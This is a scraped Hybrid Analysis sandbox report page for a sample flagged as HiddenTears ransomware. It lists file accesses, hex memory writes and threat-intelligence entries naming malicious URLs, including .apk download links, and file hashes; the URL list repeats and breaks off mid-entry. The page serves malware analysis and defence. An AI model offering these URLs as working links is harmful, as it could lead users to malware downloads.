26:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2e:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T4ba,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ransom.HiddenTears.Generic Sample 0852eb3481a7… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0852eb3481a7…. Malware family: Ransom.HiddenTears.Generic. Threat score 100/100. 20/27 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27","keywords":["Malicious","Ransom.HiddenTears.Generic","malware analysis","sandbox report","threat intelligence","0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","assembly","executable"],"identifier":"0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ransom.HiddenTears.Generic","antivirusDetections":{"malicious":20,"total":27},"behavioralIndicators":{"malicious":7,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T65d,"" touched file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\clr.dll" "" touched file "%WINDIR%\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "" touched file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\clr.dll" "" touched file "%WINDIR%\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\clr.dll" "" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "" touched file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" "" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\machine.config" "" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\security.config" "" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch" "" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config" "" touched file "%WINDIR%\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch" "" touched file "%WINDIR%\Globalization\Sorting\sortdefault.nls" "" touched file "%WINDIR%\assembly\NativeImages_v2.0.50727_32\index248.dat" "" touched file "%WINDIR%\system32\l_intl.nls" "" touched file "%WINDIR%\assembly\pubpol47.dat" "" touched file "%WINDIR%\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp" "" touched file "%WINDIR%\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp"28:T613,"" wrote bytes "40532b7758582c77186a2c77653c2d770000000000bf7e750000000056cc7e75000000007cca7e7500000000376845756a2c2d77d62d2d7700000000206945750000000029a67e7500000000a48d457500000000f70e7e7500000000" to virtual address "0x773C1000" (part of module "NSI.DLL") "" wrote bytes "92e6287779a82d77be722d77d62d2d771de2287705a22d77bee32877616f2d7768412b7700502b7700000000ad3740778b2d4077b641407700000000" to virtual address "0x74931000" (part of module "WSHTCPIP.DLL") "" wrote bytes "0658e66b" to virtual address "0x6C061FDC" (part of module "MSCORWKS.DLL") "" wrote bytes "db4dbf6f00000000" to virtual address "0x003C2000" (part of module "0852EB3481A7AA30D216F51E187794ECEFA11EFB72F68C5AF5AC0814D2B3FB27.EXE") "" wrote bytes "7739297779a82d77be722d77d62d2d771de2287705a22d77c8682c7757d13377bee32877616f2d7768412b7700502b7700000000ad3740778b2d4077b641407700000000" to virtual address "0x74E21000" (part of module "WSHIP6.DLL") "" wrote bytes "08574d76047856760000000051c11d7794981d77ee9c1d7775dc1f77273e1f77efb223770000000046ce7e75013d7f7538ed7f75cfcd7e7531237e75de2f7f75c4ca7e7580bb7e75fc1d7a759fbb7e7592bb7e7546ba7e750abf7e7500000000" to virtual address "0x6AB51000" (part of module "SHFOLDER.DLL") "PING.EXE" wrote bytes "40532b7758582c77186a2c77653c2d770000000000bf7e750000000056cc7e75000000007cca7e7500000000376845756a2c2d77d62d2d7700000000206945750000000029a67e7500000000a48d457500000000f70e7e7500000000" to virtual address "0x773C1000" (part of module "NSI.DLL")29:T2769,Found malicious artifacts related to "141.8.226.58" (ASN: 40034, Owner: Confluence Networks Inc): ... URL: http://2f782a4fa1.pw/ (AV positives: 1/65 scanned on 05/02/2017 15:31:04) URL: http://9svdsio0.cdn.o66o.pw/pornclub/ipa/33645_1460827800006.apk (AV positives: 2/64 scanned on 05/02/2017 15:24:36) URL: http://9svdsio0.cdn.o66o.pw/pornclub/ipa/33645_1460849400006.apk (AV positives: 2/64 scanned on 05/02/2017 15:24:34) URL: http://9svdsio0.cdn.o66o.pw/pornclub/ipa/33645_1460892600004.apk (AV positives: 2/64 scanned on 05/02/2017 15:23:55) URL: http://9svdsio0.cdn.o66o.pw/pornclub/ipa/33645_1460863800004.apk (AV positives: 2/64 scanned on 05/02/2017 15:23:47) File SHA256: 84049d4494e7a95f127a0ed0fd4ea6798568b86b82e2f6de7bc3c5f56ec8e3a6 (AV positives: 12/62 scanned on 04/28/2017 22:17:05) File SHA256: d739f356fcd45f357dc6aa42d41f230f09b7211aafdc695c4859f5242077d2af (AV positives: 44/60 scanned on 04/28/2017 21:51:25) File SHA256: fea28a81cd583a0e751750b006f64306c75dfe481c8f5537bca768e37f19cfce (AV positives: 48/61 scanned on 04/27/2017 02:31:16) File SHA256: 4c710c5d369526f95881e2f996907ddd23dc6f7e0a4afabfad66cd527751aca5 (AV positives: 20/61 scanned on 03/29/2017 17:54:22) Found malicious artifacts related to "208.91.196.46" (ASN: 40034, Owner: Confluence Networks Inc): ... URL: http://quickdomainfwd.com/trf?q=Free+Downloads&&r=http://r.search.yahoo.com/cbclk/dWU9MDA0QjQ5QTcwQjVENDU4OSZ1dD0xNDcyNjA2OTUwNDcxJnVvPTg5MDAyMjUwNzMmbHQ9MiZlcz11dlRiY3Q0R1BTOFdDZnFxJmplPTUxNDdiZGQ4LTZmMWEtMTFlNi1iNTY1LTZiODk4YzljMGJiYS03ZjY5YjZlNGY3MDAmdWk9MTE4LjIxOS4yNTIuMTUyJmp0PTE0NzI2MDY5NTA0ODYmcHA9bjE-/RV=2/RE=1472635750/RO=10/RU=http://70076.r.msn.com/?ld=d3e0EBhpKVkJ0PhB1WQfEyKjVUCUwUV8TZ73zF5z9fzOK-1dE0UEwNOtsDGZ-pFZDQfCTCKFULOyUyKwmT1pm_Bt8Lqr2NQrl28k-RLUNU2IQtl_JTel6-igIJXCFSKJ1qjL2_mdnnCz5DpyXqm05E04i8AIc&u=www.enigmasoftware.com%2fproducts%2fspyhunter%2f/RK=0/RS=BZj5MKRfgEQfvWlp3L7bbjo5kw4-&o=jBr7gUWoK5nWGDoFOYCF/Ihs/TYQfsefVDAEoKpHPHU8u7oUTwKg8okIVAkZ6ak2XWPTzhbYzpvAP4//9s+LVJ34NgRadR5IJuJtwYnNMfUIVpmw3Sj5OBrtLFpFhwKuEzR4LQ+Gyx4kvusMwc53Y6tF7kozvjrhaSXL377QMgxzebVEh1JwY8hktoxCGm6t6Qn7VISAg99Ww9iFkYORHR+Ot4AfnFRuwW2W64Dz4eBAQyDf16DznfUdpY6x9TE0ywDSsUWjMhQdgEno+vfxJDXJEIf0TkodUp9EV9A00C6QS44yNsnhhDbmEYPhAd5SuqjGn1KyI1Tjhkf89ZMW8Q==&c=211522015255095046841644&n=4FwBC7dz77vxqhLFEDut1HfPAl+hmWopb4XKRxTDVcBns/kIldWMX10jlM/sxEga/BYKnG6PuvM6AklL/hQJ4naqS5tb5HusiBg9AQIbQL2elRiveaE4m+K7DTQ3Ndsxcfogkb5vXjfwl8MJgJ0BhHlrVhstRkp3M1IZ/BibQHzPDcaKkxKc0R04dog478kVbfY64dMOj/xY5mOzfittK6a2r5xJm09bzRWtklzNbf4+243zAexfhtRE0gheEb2wK+YLLrhhH0yR3qVtwbFcy2Sf9SKTOqE2c9TEFLvW+Dnz87tzsge0AGs7/0VQRZ/D5WAm2uzXS08dDH3P2NZ8WUBAtlJCcjNtWqVal+2UxHIIuK6V+CyAJoTMNH0+n4KS9YhleUJuA+gx9ypI94EMsXNE4MY1LfaNFSDDHB3cal6zN6KWTiEAMSLKrKWmmzLTzfnBqGCov+Msc9uiPuZz9n17oYgNUizVbVMeKxRrVs8SLhCglgMbZi4OFPKPrhVNwbEpPznAHuhDl1eYbJE7J1+oPDWXIdnMP0G/A0KNLlA=&kgp=0&bd=9 (AV positives: 3/64 scanned on 05/02/2017 15:49:13) URL: http://www.iyfgmn.com/trf?q=Of+Advance&&r=http://r.search.yahoo.com/cbclk/dWU9QkEzMkFFODI3N0E4NDdDRSZ1dD0xNDY0MjY4MjU4Mjc5JnVvPTMwNTczMzU3MTAmbHQ9MiZlcz1hTW12N2hzR1BTXzNQZDcuJmplPTQ5NmM3NTM2LTIzNDMtMTFlNi1iZmM1LTAwOGNmYTViNTY1Yy03ZjM1Y2NjMDE3MDAmdWk9MTE4LjIxOS4yNTIuMTUzJmp0PTE0NjQyNjgyNTgzMDAmcHA9bjE-/RV=2/RE=1464297058/RO=10/RU=https://1199169.r.msn.com/?ld=d3DSTIxQsNvH3ZDOwGdrNukjVUCUz3nvFSatyByszsn0_dbjjzqGDlud-fFOS0iGv-HOw-52sb0p6fKQhzDNLhNEiX4SPbNhEMltPRU_-jBgD7kcUi9BEYgMUDocLjE3SngS3_K8kxa-o3zaeQt5D7u6U_PYc&u=http://shop.advanceautoparts.com/webapp/wcs/stores/servlet/content_Local-Search-P20-Detail___?cm_mmc=ACQ-_-Bing-_-Advance_Auto_Parts_new-_-Brand_Terms_AAP_phrase_aaz&jadid=3057335710&jk=of%20advance&jkId=mc:a8a8ae4cc4027c74201403b9232ea4ca8:i18760396394:tp_bp&js=3&jsid=34837&jt=1/RK=0/RS=N9RIkL5y.r8PQzvrTfZsPOh3n4I-&o=Unlq3x5ZE1GuVN/jsVOTcF5huevF+TZoSA2JXHRTgDgMUkZ3BWtu8Fmpq+n0W0N0Nom24ZMYN16c+kgrQ1qm9+qZek96tVUokHtUFE64bkwtxRD2YqOEeFmQ1F+xT/Icyi7UlsVyLHmEuo7RNtump3XKXGuynYPtufpC58uvtPaa7CfOBtvJg28AC2I5WXGnFKnmRi2a6UyEAsC8lsgbvA2LhTqzi1p+OxWE3TYK/C7s4T6iQVkdBNZwUgQ02cFpnaq32UHoOCshHGb7n9bn/+keITYoRhf/+uUByrKpH00DKSgXg/sf6KbSqney15dcIMAbtvdDRTMXLvMfYJbUgA==&c=211721181385876139331857&n=SHvYbp+F8zSl1dqRgyw8o59TOUr3WPxLRbYVrsVs32u8UJ1iI7ns1lLF2+DpWjgZh4GFaqJXoDAyenx5LL499LLEDPiuwnURaVUgqPCx7xJ3oXUb8ydpPgqL8Yo4gT0Atmig2KYxHir733BqPJn4BP7pXWvOKhjulRgE6ribaDpuuUwzu3pIZZ37CqtDy5LhlFe4AwpzxFoIwzX/9FQnJW8Ba27XYMw9qhhCSEqv6zdewot1g+AinbvHTpP3+61eccY9hRItShxxjniW6hjKU8YM17vx74Ok23KEZzJsAagtru2iBfylsc7NzF3T5IERmlqJSXuCgV6lkjojbtro557IjiVdiDaw4OWj3oz4HgUNCbmWhntjrwEWxXivCqgN8tkMccdecHceabnRPjn/ZoFRd/Sig89yszLmUw4hVUdMQFvD4vh0YKM5uNYPg/1rghl1yYrQ9PcJdo4fQgT4c/UpgCCQJVRjt4AdlOiFv8tGhXyuTh9g5KSYCraTqmIi&kgp=0&bd=9 (AV positives: 1/64 scanned on 05/02/2017 15:49:07) URL: http://findbetterresults.com/trf?q=Application+Form&&r=https://r.search.yahoo.com/cbclk/dWU9MkUwNTA2RUIwNzA5NDgzNyZ1dD0xNDgyMDE2NTU5Mzk3JnVvPTEzMDAxNzc0NjA1Jmx0PTImZXM9OTR2R1NZb0dQUy44QXl6WCZqZT1jNTQxNDkwNC1jNGFlLTExZTYtYjVlYS0wMDhjZmE1YjQ4NzQtN2ZlYjRhZjA3NzAwJnVpPTExOC4yMTkuMjUyLjE1MyZqdD0xNDgyMDE2NTU5NDEyJnBwPW40/RV=2/RE=1482045359/RO=10/RU=https://5553.r.bat.bing.com/?ld=d35Vyf_Igo_HZNvDSuTGqUDDVUCUxZ0IB0MCSSFbA2t7Tj5n3RsnbsmF1knaclqeASNKT3felICXVjHCcmJUUVk8YAzHnQIZ7hRg3tiH82S1bZfEOmvkqTE14l5-u-PP5klX5TG73W4Ri4uOMb9bMB_JUuU4E&u=www.lawdepot.com/contracts/rental-application-form/?loc=US&pid=msnppc-rrapp_us-rentapp_b1-msnkey_lease%20application%20template&utm_source=bing&utm_medium=cpc/RK=0/RS=jvpwRwg_ANI3SHN68yVUdGpm4H4-&o=hL1H7hmVZ5ihHk7KVFLhJRCYvJtX20YxLPv/+CjY9RangqvGI7SE+VzT6bxEgI9rfDFgkSyS90jaSlSuBJNXAqu4jD2wfAa2IBY6ciIamjH2XvUqPBk/xiezBxXP8Ykof2E5pwy5hM9fiybK1fy0xTvqWweWeFruvm369dDP6BgeC1LLNg7ab8USHCznXwPPH1LiCuTIUwbFyCzwEDPW2ZzBoTCCeHfQ18sPPi1fRZJ3Y+3aXD22FOi4KViSw+y7I2K9D1Zo9LDTICCeimCvdMzWpKJUBjKrEle0VD1yiYDVF2Oqo389fZ7xN/09GBjah3Mpd30pEAgt4ktuX/BqKw+mGr+PehV/Uu3x1A+0p4g=&c=211222956215978291174312&n=FNWphYYkxj41rafMFAatxfLP8ZgH1P7ebcBY81PTyX6mHqgSyZSol88chPdK+gLa6HYQtneYXVurqi0RlRIYqW02Y28A4o8AY6iFNIWQpS4O//U4OJIF9M8B6VpI1hyNWhF0d5gURG0Y67lKBloPqiHu6YN8AKr3Wv3iSIZdEHLnYeopMzHH99c+me16qwZZPiTIw20uFm7/H29nYujeVdHNyfdC0ztKvSr5bPZ/uXF1FzIqIDDTMB9Yd0SNykgLth5vLmSuLM3l8Km91dJ7bBxvTeALwjQ/fHYVpmJrqBJIdZSxl54CZGyD0KKHpWYcZL2qRm/CTA+zHEOTKuoo6Unz3zmINutF/omdhiA5hgtRrGUvxShzGCUSUBK2Ej8/fDZAryYRNhR+a9AAX2dj+p7Il7EhlAeCcHFT/XiuWQJJHPXF3FnBv8BFcHlsFHVUrqqIzCOmu1s3x/jcOXsDcC8ZKSHpGQOneGy8e95pF1K1CCTSNQwYG7k+IpNsqpmuWUgEUnMQQuAeQQWEtxpI7Q==&kgp=0&bd=9 (AV positives: 1/64 scanned on 05/02/2017 15:49:03) URL: http://www.searchstarters.com/trf?q=Flash+Movies&&r=http://r.search.yahoo.com/cbclk/dWU9OTk4Qzk1MzRBMDIyNDhFNSZ1dD0xNDY3OTg1NDkzMjIxJnVvPTg0NTE3NTk4MDgmbHQ9MiZlcz1LR0EzX0l3R1BTLkxHcl9p/RV=2/RE=1468014293/RO=10/RU=http://37001737.r.msn.com/?ld=d3BfcztcRWQDIPTzMloGRuaTVUCUzYIR6wHDexPG-QyDCm9j4iug2N4gcHYkL8u3r9N8Rdfr45YM589hDCWVJDJ2cJnME2IyOno2FJMA6fUHSLM4xICto3SE19cqMds5A-IRTHosVGm2863ZoCWHezqa13syA&u=http://us.wow.com/search?s_pt=source2&s_it=aolsem&s_chn=45&q=a%20free%20movies/RK=0/RS=Ml7JW.JZnwBvRhYWeUeofj1PPWI-&o=SH3xMBvjdNLZFjZ9MQnHzXQ+SpJMMXGiefcG5gAQ8qG9bwnpzUtoWB0Xx0mZzSRNOqY0EIFnEBIU5FEnt1yv0njrdZBqLs0dk6Wd8LkxdNBBjzZIb5fXq3H5jj72ieDMAx9aZI9HlkneE59Dbw1e9aQCt8KwVqKEnV8aZg9JnR0DnjUL7pGmoIIUCt3v5eIXBfocwFA8HwAxtGRqvEDMI8ce/qASv28ZcAtEaOiz0ps71zuHBhBbaDNnr4II/G5gOZperXSOFU1fQx/UoS0vwv1LgcXmr5PwCUunxLVP1u4CHs21snJzaMqcKU6z6RSKLLQBPIQKywS0Lp1FeH6pAg==&c=2102215531093582607612&n=W3kbXnjR4IagxKEr8ccVu/eDbBSWXCKIpPM5zRgxPt7Qj9avIYLjeeayNnUqmsYsBvcCsxYjPXL9NbewpjhjfYxWUZKwkUSIeNWcNeq5E06p4uXDcy+bZNWG9OEUMYNuxD95KR4FXE39rBSkOqxburc+qixOfjy37V6KdLFehSKEV/vQ0DGV36xLKbv2xMG4epeSrzzhrUbpmfnxJJ9opIpzDh/kvUXrOMwndbat34HgwGu23eHOR62ObIqfgaH6AHo+2NdkoaoVBzvEMIbm1XTemvihhdvyup1sywMc1pQHz4QG/83eBwc0hnFheo/vS2QTAgVy3nM9s6k4U0t1Rz4HZo3PRk6rucaFojTabX9q+qBai64fmnu3y0Cd2sXsekdk4FVrxGgDebAtInTuLWjQxPJ+ja+gOzlvch1wfOLjHIpBxvPIAWgI0hHHR/bKZgjLJpAt5DKkFRdAvZcrTRFD9o5KY44VHcUDQtCxxk8ByGooXzEP5JZI9+5+5FN7KA0/aU1XG2EYwZ3+xOgFAsbGCWkyGN+/tUykgAhhU2RQoPKu5mMIIDPgsL2Gzfk+&kgp=0&bd=9 (AV positives: 1/64 scanned on 05/02/2017 15:48:54) URL: http://quickdomainfwd.com/trf?q=Egg+Hunt&&r=http://r.search.yahoo.com/cbclk/dWU9MTdBMkM3NjQ1MzhDNDdFMSZ1dD0xNDY3NjQ1MjU1MDUxJnVvPTg0MzI4MDIxMDcmbHQ9MiZlcz1ITlByQTVJR1BTLkxLZ214/RV=2/RE=1467674055/RO=10/RU=http://37001705.r.msn.com/?ld=d3cgpxcvjS1KGp5eCIE-brmTVUCUz7kcrgQ1sT43vsguQyqEjXiRgNtkCZOCI5tSjGJwa24p_cv7q_spsegG7e_GqaJ3NzJ__XyOfX0miXb_VzUyEhzcyZ8O9vMEiD_Ecu7OLe4CrCyDmJW86Oik_gwHPIRVc&u=http://us.wow.com/search?s_pt=source2&s_it=aolsem&s_chn=37&q=egg%20hunt%2B/RK=0/RS=WKl91tuQe49kdNZzVYYbNibA17U-&o=nRH6JEPAcXukqmGkYgHJkZwgr5+u9BwLl/HB+mvJp7gL3wIhotovxcDJAXkMJ7YQlAqwgMrDpDHyQF/OlGPyBYia5z4JJPU4/FuVSidzAJzOeyg0KrPzI3lfatqObfcEXOt+FBtMVtSYY1RNKlE0vG3QjA/qIN8DCApDCrDZDET+mVza/BLhS/RMsgSwk2yFAJtSWa7MzUKZrxEH0ECCi5xtGHIG3v0Zn1fUoeW7iRrgUA1UdwHB58c2i0rUhIX+7kt/XeuEBzkSD+bnBQxq7LGMlnuWALlr2/YoBWEc7T/qXdRHeGdp+ToBOEbyUMROEppi6rEeUy8t+UV0UtCdig==&c=210821519085545178522951&n=H9FuPN3PK+Gr5iE5a3yOCVmWk/y2fT39eNh2Y16sBDnP6WwijtZYr47ZuKpZQsBDOGSn08lizOxnZhO/b7OYFBKFBmV7Li4BYhjaHP+wjbiLE6RWQNp5FvVWobONZRozIdeZXVkLkjujwJ7Ar7PCjgjSf0y1GX9oq95hpeFVUeECP01goD8TTr7P2tjyrDZLVFXwAdhWWsRUMoO8mfgMqm9hOPel/KoZLicQoeBCNdMsneYSK3tdipv/kvU9JZm0fBGvAKfy+Vo2H6+jlyUKu6JaT7UYmu5348OgtVWczpxVyZ6lnumZyZFcVWt12oHV4jRzegq1RwkcH7TretbcnCCqPLdxGwSpmIKUFZUJQBW22PAiHaiAgHJlKXsGeCDTIcNFvdv0mQpw5BwJX09n9gwa4iW9rL4Nx9il4PabH/lf5IQLU8Qh+jmYg2KGQq/ibpAIqnG8/2mMzRJyv7lERIOGA+iEegspzWJOuQqS0b4=&kgp=0&bd=9 (AV positives: 3/64 scanned on 05/02/2017 15:48:48) File SHA256: 432cef679930a1585b78e27b6227d264055c43d27c138a4fb1085b3fe16a9d6e (AV positives: 1/55 scanned on 05/02/2017 09:46:40) File SHA256: bfd55b9c9142617183e98198212e393807a12824acee521e4740f1ca601a2cba (AV positives: 1/56 scanned on 05/02/2017 06:18:30) File SHA256: 4ba1a0fcc6983b539744a6590920fc4596460833c306bb1531095ada391ab21f (AV positives: 1/57 scanned on 05/02/2017 01:40:33) File SHA256: 4ad465b840cf7a5b5098806a97dd31846b1459fc592bb8021096b7392550389f (AV positives: 1/56 scanned on 05/01/2017 21:41:53) File SHA256: 84049d4494e7a95f127a0ed0fd4ea6798568b86b82e2f6de7bc3c5f56ec8e3a6 (AV positives: 12/62 scanned on 04/28/2017 22:17:04)2a:T2769,Found malicious artifacts related to "141.8.226.58" (ASN: 40034, Owner: Confluence Networks Inc): ... URL: http://2f782a4fa1.pw/ (AV positives: 1/65 scanned on 05/02/2017 15:31:04) URL: http://9svdsio0.cdn.o66o.pw/pornclub/ipa/33645_1460827800006.apk (AV positives: 2/64 scanned on 05/02/2017 15:24:36) URL: http://9svdsio0.cdn.o66o.pw/pornclub/ipa/33645_1460849400006.apk (AV positives: 2/64 scanned on 05/02/2017 15:24:34) URL: http://9svdsio0.cdn.o66o.pw/pornclub/ipa/33645_1460892600004.apk (AV positives: 2/64 scanned on 05/02/2017 15:23:55) URL: http://9svdsio0.cdn.o66o.pw/pornclub/ipa/33645_1460863800004.apk (AV positives: 2/64 scanned on 05/02/2017 15:23:47) File SHA256: 84049d4494e7a95f127a0ed0fd4ea6798568b86b82e2f6de7bc3c5f56ec8e3a6 (AV positives: 12/62 scanned on 04/28/2017 22:17:05) File SHA256: d739f356fcd45f357dc6aa42d41f230f09b7211aafdc695c4859f5242077d2af (AV positives: 44/60 scanned on 04/28/2017 21:51:25) File SHA256: fea28a81cd583a0e751750b006f64306c75dfe481c8f5537bca768e37f19cfce (AV positives: 48/61 scanned on 04/27/2017 02:31:16) File SHA256: 4c710c5d369526f95881e2f996907ddd23dc6f7e0a4afabfad66cd527751aca5 (AV positives: 20/61 scanned on 03/29/2017 17:54:22) Found malicious artifacts related to "208.91.196.46" (ASN: 40034, Owner: Confluence Networks Inc): ... URL: http://quickdomainfwd.com/trf?q=Free+Downloads&&r=http://r.search.yahoo.com/cbclk/dWU9MDA0QjQ5QTcwQjVENDU4OSZ1dD0xNDcyNjA2OTUwNDcxJnVvPTg5MDAyMjUwNzMmbHQ9MiZlcz11dlRiY3Q0R1BTOFdDZnFxJmplPTUxNDdiZGQ4LTZmMWEtMTFlNi1iNTY1LTZiODk4YzljMGJiYS03ZjY5YjZlNGY3MDAmdWk9MTE4LjIxOS4yNTIuMTUyJmp0PTE0NzI2MDY5NTA0ODYmcHA9bjE-/RV=2/RE=1472635750/RO=10/RU=http://70076.r.msn.com/?ld=d3e0EBhpKVkJ0PhB1WQfEyKjVUCUwUV8TZ73zF5z9fzOK-1dE0UEwNOtsDGZ-pFZDQfCTCKFULOyUyKwmT1pm_Bt8Lqr2NQrl28k-RLUNU2IQtl_JTel6-igIJXCFSKJ1qjL2_mdnnCz5DpyXqm05E04i8AIc&u=www.enigmasoftware.com%2fproducts%2fspyhunter%2f/RK=0/RS=BZj5MKRfgEQfvWlp3L7bbjo5kw4-&o=jBr7gUWoK5nWGDoFOYCF/Ihs/TYQfsefVDAEoKpHPHU8u7oUTwKg8okIVAkZ6ak2XWPTzhbYzpvAP4//9s+LVJ34NgRadR5IJuJtwYnNMfUIVpmw3Sj5OBrtLFpFhwKuEzR4LQ+Gyx4kvusMwc53Y6tF7kozvjrhaSXL377QMgxzebVEh1JwY8hktoxCGm6t6Qn7VISAg99Ww9iFkYORHR+Ot4AfnFRuwW2W64Dz4eBAQyDf16DznfUdpY6x9TE0ywDSsUWjMhQdgEno+vfxJDXJEIf0TkodUp9EV9A00C6QS44yNsnhhDbmEYPhAd5SuqjGn1KyI1Tjhkf89ZMW8Q==&c=211522015255095046841644&n=4FwBC7dz77vxqhLFEDut1HfPAl+hmWopb4XKRxTDVcBns/kIldWMX10jlM/sxEga/BYKnG6PuvM6AklL/hQJ4naqS5tb5HusiBg9AQIbQL2elRiveaE4m+K7DTQ3Ndsxcfogkb5vXjfwl8MJgJ0BhHlrVhstRkp3M1IZ/BibQHzPDcaKkxKc0R04dog478kVbfY64dMOj/xY5mOzfittK6a2r5xJm09bzRWtklzNbf4+243zAexfhtRE0gheEb2wK+YLLrhhH0yR3qVtwbFcy2Sf9SKTOqE2c9TEFLvW+Dnz87tzsge0AGs7/0VQRZ/D5WAm2uzXS08dDH3P2NZ8WUBAtlJCcjNtWqVal+2UxHIIuK6V+CyAJoTMNH0+n4KS9YhleUJuA+gx9ypI94EMsXNE4MY1LfaNFSDDHB3cal6zN6KWTiEAMSLKrKWmmzLTzfnBqGCov+Msc9uiPuZz9n17oYgNUizVbVMeKxRrVs8SLhCglgMbZi4OFPKPrhVNwbEpPznAHuhDl1eYbJE7J1+oPDWXIdnMP0G/A0KNLlA=&kgp=0&bd=9 (AV positives: 3/64 scanned on 05/02/2017 15:49:13) URL: http://www.iyfgmn.com/trf?q=Of+Advance&&r=http://r.search.yahoo.com/cbclk/dWU9QkEzMkFFODI3N0E4NDdDRSZ1dD0xNDY0MjY4MjU4Mjc5JnVvPTMwNTczMzU3MTAmbHQ9MiZlcz1hTW12N2hzR1BTXzNQZDcuJmplPTQ5NmM3NTM2LTIzNDMtMTFlNi1iZmM1LTAwOGNmYTViNTY1Yy03ZjM1Y2NjMDE3MDAmdWk9MTE4LjIxOS4yNTIuMTUzJmp0PTE0NjQyNjgyNTgzMDAmcHA9bjE-/RV=2/RE=1464297058/RO=10/RU=https://1199169.r.msn.com/?ld=d3DSTIxQsNvH3ZDOwGdrNukjVUCUz3nvFSatyByszsn0_dbjjzqGDlud-fFOS0iGv-HOw-52sb0p6fKQhzDNLhNEiX4SPbNhEMltPRU_-jBgD7kcUi9BEYgMUDocLjE3SngS3_K8kxa-o3zaeQt5D7u6U_PYc&u=http://shop.advanceautoparts.com/webapp/wcs/stores/servlet/content_Local-Search-P20-Detail___?cm_mmc=ACQ-_-Bing-_-Advance_Auto_Parts_new-_-Brand_Terms_AAP_phrase_aaz&jadid=3057335710&jk=of%20advance&jkId=mc:a8a8ae4cc4027c74201403b9232ea4ca8:i18760396394:tp_bp&js=3&jsid=34837&jt=1/RK=0/RS=N9RIkL5y.r8PQzvrTfZsPOh3n4I-&o=Unlq3x5ZE1GuVN/jsVOTcF5huevF+TZoSA2JXHRTgDgMUkZ3BWtu8Fmpq+n0W0N0Nom24ZMYN16c+kgrQ1qm9+qZek96tVUokHtUFE64bkwtxRD2YqOEeFmQ1F+xT/Icyi7UlsVyLHmEuo7RNtump3XKXGuynYPtufpC58uvtPaa7CfOBtvJg28AC2I5WXGnFKnmRi2a6UyEAsC8lsgbvA2LhTqzi1p+OxWE3TYK/C7s4T6iQVkdBNZwUgQ02cFpnaq32UHoOCshHGb7n9bn/+keITYoRhf/+uUByrKpH00DKSgXg/sf6KbSqney15dcIMAbtvdDRTMXLvMfYJbUgA==&c=211721181385876139331857&n=SHvYbp+F8zSl1dqRgyw8o59TOUr3WPxLRbYVrsVs32u8UJ1iI7ns1lLF2+DpWjgZh4GFaqJXoDAyenx5LL499LLEDPiuwnURaVUgqPCx7xJ3oXUb8ydpPgqL8Yo4gT0Atmig2KYxHir733BqPJn4BP7pXWvOKhjulRgE6ribaDpuuUwzu3pIZZ37CqtDy5LhlFe4AwpzxFoIwzX/9FQnJW8Ba27XYMw9qhhCSEqv6zdewot1g+AinbvHTpP3+61eccY9hRItShxxjniW6hjKU8YM17vx74Ok23KEZzJsAagtru2iBfylsc7NzF3T5IERmlqJSXuCgV6lkjojbtro557IjiVdiDaw4OWj3oz4HgUNCbmWhntjrwEWxXivCqgN8tkMccdecHceabnRPjn/ZoFRd/Sig89yszLmUw4hVUdMQFvD4vh0YKM5uNYPg/1rghl1yYrQ9PcJdo4fQgT4c/UpgCCQJVRjt4AdlOiFv8tGhXyuTh9g5KSYCraTqmIi&kgp=0&bd=9 (AV positives: 1/64 scanned on 05/02/2017 15:49:07) URL: http://findbetterresults.com/trf?q=Application+Form&&r=https://r.search.yahoo.com/cbclk/dWU9MkUwNTA2RUIwNzA5NDgzNyZ1dD0xNDgyMDE2NTU5Mzk3JnVvPTEzMDAxNzc0NjA1Jmx0PTImZXM9OTR2R1NZb0dQUy44QXl6WCZqZT1jNTQxNDkwNC1jNGFlLTExZTYtYjVlYS0wMDhjZmE1YjQ4NzQtN2ZlYjRhZjA3NzAwJnVpPTExOC4yMTkuMjUyLjE1MyZqdD0xNDgyMDE2NTU5NDEyJnBwPW40/RV=2/RE=1482045359/RO=10/RU=https://5553.r.bat.bing.com/?ld=d35Vyf_Igo_HZNvDSuTGqUDDVUCUxZ0IB0MCSSFbA2t7Tj5n3RsnbsmF1knaclqeASNKT3felICXVjHCcmJUUVk8YAzHnQIZ7hRg3tiH82S1bZfEOmvkqTE14l5-u-PP5klX5TG73W4Ri4uOMb9bMB_JUuU4E&u=www.lawdepot.com/contracts/rental-application-form/?loc=US&pid=msnppc-rrapp_us-rentapp_b1-msnkey_lease%20application%20template&utm_source=